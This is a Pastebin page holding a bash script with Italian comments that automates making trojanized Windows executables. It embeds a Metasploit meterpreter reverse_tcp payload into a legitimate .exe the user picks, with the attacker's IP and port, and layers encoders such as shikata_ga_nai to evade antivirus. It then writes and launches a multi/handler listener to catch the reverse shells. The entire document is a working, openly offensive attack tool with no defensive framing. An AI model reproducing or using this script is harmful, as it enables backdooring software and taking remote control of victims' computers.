Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- ## PERCORSI E DEFINIZIONI ##
- target="$HOME/Modelli/EVIL/TARGET";
- fil="evilmet.rc" ;
- met="windows/meterpreter/reverse_tcp" ;
- met2="windows/shell_reverse_tcp" ;
- met3="windows/dllinject/reverse_tcp" ;
- met4="windows/exec" ;
- enc1="x86/call4_dword_xor" ;
- enc2="x86/jmp_call_additive" ;
- enc3="x86/shikata_ga_nai" ;
- #colori di output
- RED="\e[0;31m" ;
- YEL="\e[0;33m" ;
- NORM="\e[0m" ;
- # CONTROLLO PERMESSI
- if [ $UID -eq 0 ]
- then
- echo
- echo "[ok] check UID"
- else
- echo
- echo -e "${RED}[fail]${NORM} Non hai i permessi necessari per eseguire lo script! need to be root!" && exit
- fi
- # TENGO D'OCCHIO L'ORA ;)
- tim=`date +%T`;
- echo
- echo -e "$YEL inizio lavori: $tim $NORM "
- # CREO LA CARTELLA DI LAVORO ED ENTRO
- fun_ambiwork (){
- mkdir -p $target/MetPay_$tim &> /dev/null
- if [ $? -eq 0 ]
- then
- echo
- echo "[ok] MetPay_$tim creata con successo"
- else
- echo
- echo -e "${RED}[fail]${NORM} impossibile creare la cartella di lavoro" && exit
- fi
- # cd $HOME/Modelli/EVIL/MetPay_$tim
- }
- # SCELTA DELL'ESEGUIBILE
- fun_exetarget () {
- echo
- echo -e "$YEL Eseguibili disponibili per winz: $NORM"
- ls $target |grep .exe
- echo
- echo -e "$YEL Binari per linux: $NORM"
- ls $target |grep .so
- echo
- echo -n "Scegli l'eseguibile adatto: "
- read eseg
- cp $target/$eseg $target/MetPay_$tim &> /dev/null
- if [ $? -eq 0 ]
- then
- echo
- echo "[ok] $eseg copiato con successo"
- else
- echo
- echo -e "${RED}[fail]${NORM} impossibile copiare $eseg NON ESISTE!"
- fun_exetarget
- fi
- #return $eseg
- }
- # COSTRUISCO L'ESEGUIBILE CATTIVERRIMO
- fun_build () {
- echo
- echo -n "inserisci il tuo ip: "
- read ip
- echo -n "inserisci la porta: "
- read porta
- echo
- echo -e "$YEL genero il payload e lo codifico $NORM"
- echo
- echo
- msfpayload $met LHOST=$ip LPORT=$porta R | msfencode -e $enc3 -c 10 -t raw | msfencode -e $enc2 -c 1 -t raw | msfencode -e $enc1 -c 1 -t exe -x $target/MetPay_$tim/$eseg -o $target/MetPay_$tim/E_$eseg
- if [ $? -eq 0 ]
- then
- echo
- echo "[ok] payload generato con successo, è possibile utilizzare E_$eseg"
- else
- echo
- echo -e "${RED}[fail]${NORM} non è stato possibile generare il payload" && exit
- fi
- }
- # SCRIVO LO SCRIPT CHE CARICHERA' MSFCONSOLE
- fun_fil () {
- cd $target/MetPay_$tim
- if [ -e $fil ]
- then
- echo
- echo "ho trovato un vecchio file di configurazione, verrà rinominato"
- mv $fil $fil.old_$tim &> /dev/null
- if [ $? -eq 0 ]
- then
- echo
- echo "[ok] $fil rinominato con successo"
- else
- echo
- echo -e "${RED}[fail]${NORM} non è stato possibile rinominare $fil "
- fi
- fi
- echo
- echo -e "$YEL sto creado il file di configurazione per msfconsole $NORM"
- touch $fil
- echo "use exploit/multi/handler" >> $fil
- echo "set PAYLOAD $met" >> $fil
- echo "set LHOST $ip" >> $fil
- echo "set LPORT $porta" >> $fil
- echo "set ExitOnSession false" >> $fil
- echo "exploit -j -z" >> $fil
- cat $fil
- ( xfce4-terminal -e "msfconsole -r $fil" ) &
- if [ $? -eq 0 ]
- then
- echo
- echo "[ok] msfconsole iniziata con successo"
- else
- echo
- echo -e "${RED}[fail]${NORM} impossibile avviare msfconsole" && exit
- fi
- }
- fun_ambiwork
- fun_exetarget
- fun_build $eseg
- fun_fil
- exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement